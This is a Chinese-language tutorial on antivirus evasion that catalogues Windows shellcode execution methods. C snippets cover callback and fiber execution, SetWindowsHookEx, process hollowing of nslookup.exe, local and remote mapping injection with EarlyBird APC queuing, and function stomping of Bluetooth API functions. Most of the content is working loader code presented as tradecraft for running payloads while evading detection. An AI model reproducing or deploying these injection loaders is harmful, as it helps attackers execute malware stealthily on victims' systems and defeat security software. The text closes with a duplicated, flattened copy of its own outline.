免杀基础-常见shellcode执行方式
字数 669 2025-08-22 12:23:06

Shellcode执行方式全面指南

1. 基础内存分配与执行

1.1 基本内存操作流程

DWORD dwOldProtection;
LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(lpMem, shellcode, sizeof(shellcode));
VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

1.2 回调函数执行

通过Windows API的回调机制执行shellcode:

EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);

注意

2. 纤程(Fiber)执行

纤程是用户态的轻量级线程:

ConvertThreadToFiber(NULL);
LPVOID lpFiber = CreateFiber(sizeof(shellcode), (LPFIBER_START_ROUTINE)lpMem, NULL);
SwitchToFiber(lpFiber);

特点:

  • 所有纤程平等,无主从关系
  • 任一纤程返回将导致程序退出

3. SetWindowHookEx注入

利用Windows消息钩子机制:

HHOOK hhk = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)lpMem, NULL, GetCurrentThreadId());
MSG msg;
PostThreadMessage(GetCurrentThreadId(), WM_USER, 0, 0);
PeekMessage(&msg, NULL, 0, 0, PM_REMOVE);
UnhookWindowsHookEx(hhk);

4. 进程镂空(Process Hollowing)

4.1 基本流程

  1. 创建挂起进程:
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  1. 获取线程上下文和映像基址:
CONTEXT context;
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &context);

// x64
ReadProcessMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T)*2)), &RemoteImageBase, sizeof(PVOID), NULL);

// x86
ReadProcessMemory(pi.hProcess, (PVOID)(context.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
  1. 镂空原进程:
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase) {
    NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);
}
  1. 写入新PE文件:
LPVOID lpMem = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, 
                             pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  1. 修改入口点并恢复线程:
// x64
context.Rcx = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

// x86
context.Eax = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);

5. 映射注入(Mapping Injection)

5.1 本地映射注入

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 
                                   NULL, sizeof(shellcode), NULL);
LPVOID lpMem = MapViewOfFile(hMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 
                            NULL, NULL, sizeof(shellcode));
memcpy(lpMem, shellcode, sizeof(shellcode));
EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);

5.2 远程映射注入

CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, NULL, NULL, NULL, &si, &pi);
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, false, pi.dwProcessId);
LPVOID addr = MapViewOfFile2(hMapping, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);

5.3 映射注入联动EarlyBird

CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
QueueUserAPC((PAPCFUNC)addr, pi.hThread, 0);
ResumeThread(pi.hThread);

6. 函数篡改注入(Function Stomping Injection)

6.1 本地注入

LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"bthprops.cpl"), "BluetoothFindDeviceClose");
VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(sacrificedAddr, shellcode, sizeof(shellcode));
VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

typedef void (*BluetoothFindDeviceClose)();
BluetoothFindDeviceClose pFunc = (BluetoothFindDeviceClose)sacrificedAddr;
pFunc();

6.2 静态库方式

#include <bluetoothapis.h>
#pragma comment(lib,"Bthprops.lib")

LPVOID sacrificedAddr = &BluetoothFindDeviceClose;
// 后续操作同上

6.3 远程注入

  1. 创建挂起进程并加载目标DLL:
TCHAR* szDllPath = _wcsdup(L"BluetoothApis.dll");
LPVOID lpDllPath = VirtualAllocEx(pi.hProcess, NULL, _tcslen(szDllPath)*sizeof(TCHAR)+sizeof(TCHAR), 
                                 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, lpDllPath, szDllPath, _tcslen(szDllPath)*sizeof(TCHAR)+sizeof(TCHAR), NULL);

LPVOID lpLoadLibrary = (LPVOID)GetProcAddress(LoadLibraryW(L"kernel32.dll"), "LoadLibraryW");
CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpLoadLibrary, lpDllPath, NULL, NULL);
ResumeThread(pi.hThread);
  1. 篡改目标函数:
LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"BluetoothApis.dll"), "BluetoothFindDeviceClose");
VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
NtWriteVirtualMemory(pi.hProcess, sacrificedAddr, shellcode, sizeof(shellcode), &byteWritten);
VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);

HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sacrificedAddr, NULL, NULL, NULL);
WaitForSingleObject(hThread, -1);

注意:确保目标DLL已加载到远程进程,且函数地址正确。

7. 参考资源

  1. Malicious Memory Artifacts - DLL Hollowing
  2. Module Stomping/DLL Hollowing
  3. Process Hollowing Implementation
  4. Process Hollowing and PE Relocations
  5. 进程镂空技术详解
Shellcode执行方式全面指南 1. 基础内存分配与执行 1.1 基本内存操作流程 1.2 回调函数执行 通过Windows API的回调机制执行shellcode: 注意 : 只能在本地进程中使用 更多API参考: AlternativeShellcodeExec 2. 纤程(Fiber)执行 纤程是用户态的轻量级线程: 特点: 所有纤程平等,无主从关系 任一纤程返回将导致程序退出 3. SetWindowHookEx注入 利用Windows消息钩子机制: 4. 进程镂空(Process Hollowing) 4.1 基本流程 创建挂起进程: 获取线程上下文和映像基址: 镂空原进程: 写入新PE文件: 修改入口点并恢复线程: 5. 映射注入(Mapping Injection) 5.1 本地映射注入 5.2 远程映射注入 5.3 映射注入联动EarlyBird 6. 函数篡改注入(Function Stomping Injection) 6.1 本地注入 6.2 静态库方式 6.3 远程注入 创建挂起进程并加载目标DLL: 篡改目标函数: 注意 :确保目标DLL已加载到远程进程,且函数地址正确。 7. 参考资源 Malicious Memory Artifacts - DLL Hollowing Module Stomping/DLL Hollowing Process Hollowing Implementation Process Hollowing and PE Relocations 进程镂空技术详解